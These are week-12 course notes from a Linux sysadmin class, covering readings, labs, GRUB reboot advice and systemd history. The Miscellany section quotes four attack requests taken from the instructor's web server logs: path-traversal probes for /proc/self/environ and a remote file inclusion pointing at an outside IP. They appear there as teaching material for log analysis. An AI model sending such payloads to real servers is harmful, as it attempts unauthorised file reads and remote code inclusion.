1 Readings, Assignments, Labs, and ToDoIndex

Fill in your Course Evaluation for this course. Only nine questions! Closes December 9. You can find it under Blackboard “Services”.
Read (at least) these things (All The Words):
- Week 12 Notes HTML - This File - ** Read All The Words **
- Unix/Linux Boot Process, GRUB, and run levels
- List of Commands
Read (All The Words), Do, and Save (but not for hand-in):
- Lab Worksheet #13 ODT
- Lab Worksheet #13 PDF
Read (All The Words), Do, and then Submit via Blackboard:
- Assignment #12 is part of Lab Worksheet #12 ODT
- Assignment #12 is part of Lab Worksheet #12 PDF
  - fonts updated not to use missing font Courier 10 Pitch
Write down the dates of your Final Exams from the Course Home Page.
PDF course slides from a previous term
READ ALL THE WORDS

2 Final Exam Schedule is PostedIndex

Your Final Exam schedule is posted in the ICT office and on the Course Home Page.

3 Lecture Notes for This WeekIndex

Review last week. Did you do everything assigned last week?

3.1 From the Class Notes link on the Course Home PageIndex

Week 12 Notes HTML - This File - ** Read All The Words **
Unix/Linux Boot Process, GRUB, and run levels
List of Commands

3.2 From the Classroom Whiteboard/ChalkboardIndex

Hom Much is Bill Gates Worth
FoxTrot Kernel Panic
shell scripts - save your common command pipelines for re-use
fonts updated not to use missing font Courier 10 Pitch in Worksheets
minimum permissions from Lab Worksheet #09 PDF

3.2.1 Your in-class notes go here - take notes in class!Index

4 Real Sysadmin WorkIndex

4.1 Advice for working with rebooting and GRUBIndex

set the VMware bios.bootDelay via the FAQ
comment out hiddenmenu in your Fedora 12 grub.conf file
increase the timeout in your Fedora 12 grub.conf file
remove rhgb quiet from all kernel lines in your Fedora 12 grub.conf file

4.2 MiscellanyIndex

More attacks on my web server this week:
- GET /index.php?mod=../../../../../../../../proc/self/environ%00 HTTP/1.1
- GET /index.php?page=../../../../../../../../proc/self/environ%00 HTTP/1.1
- GET /main.php?x=../../../../../../../proc/self/environ%00 HTTP/1.1
- GET /index.php?page=http%3A%2F%2F178.63.8.214%2Fecho.txt HTTP/1.1
Create a pipeline to summarize attacks in log files under /var/log/ on CLS
You can Submit bug reports
Red Hat replaces System V init system (Run Levels) with Upstart http://pearlin.info/2011/09/06/redhat-have-chosen-to-replace-the-old-systemv-init-system-with-upstart/#&panel1-5
systemd - a replacement for Upstart (that itself replaced Run Levels)
- controversy causes a fork of UDEV: http://www.linuxplanet.com/news/linux-top-3-gentoo-forks-udev-peppermint-respins-and-linux-3.7-rc7.html
  - Gentoo developers could also potentially be joined by Debian developers in what could turn out to be a groundswell of protest against the Red Hat led developments in systemd.
  - Linus Torvald rants: https://lkml.org/lkml/2012/10/3/484
- Fedora explains systemd: https://fedoraproject.org/wiki/Systemd
- systemd cheat sheet: http://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet
From Kyle Nuttall: The wolves are going to get you, and the bus is coming!

Author: 
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Week 12 Notes for CST8207 - Fall 2012

Ian! D. Allen - idallen@idallen.ca - www.idallen.com

Fall 2012 - September to December 2012 - Updated 2012-12-04 21:49 EST

1 Readings, Assignments, Labs, and ToDoIndex

2 Final Exam Schedule is PostedIndex

3 Lecture Notes for This WeekIndex

3.1 From the Class Notes link on the Course Home PageIndex

3.2 From the Classroom Whiteboard/ChalkboardIndex

3.2.1 Your in-class notes go here - take notes in class!Index

4 Real Sysadmin WorkIndex

4.1 Advice for working with rebooting and GRUBIndex

4.2 MiscellanyIndex